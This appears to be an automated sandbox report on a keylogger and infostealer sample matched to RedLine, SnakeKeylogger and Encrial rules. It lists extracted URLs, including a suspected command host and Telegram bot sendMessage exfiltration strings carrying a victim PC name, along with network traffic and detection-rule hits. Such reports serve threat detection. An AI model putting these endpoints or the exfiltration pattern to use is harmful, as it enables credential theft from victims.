http://varders.kozow.com:8081
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002737000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002768000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002737000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enl
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBdq
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000025D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75$
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003862000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375A000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003986000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003781000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000370C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000036E7000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003712000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003940000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000383D000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375C000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003862000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375A000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003986000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003781000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000370C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000036E7000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003712000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003940000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000383D000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375C000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003587000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002768000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/l
Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002763000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBdq

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49741 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00408C60	0_2_00408C60
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0040DC11	0_2_0040DC11
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00407C3F	0_2_00407C3F
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00418CCC	0_2_00418CCC
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00406CA0	0_2_00406CA0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_004028B0	0_2_004028B0
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_0041A4BE	0_2_0041A4BE
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00408C60	0_2_00408C60
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00418244	0_2_00418244
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00401650	0_2_00401650
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Code function: 0_2_00402F20	0_2_00402F20
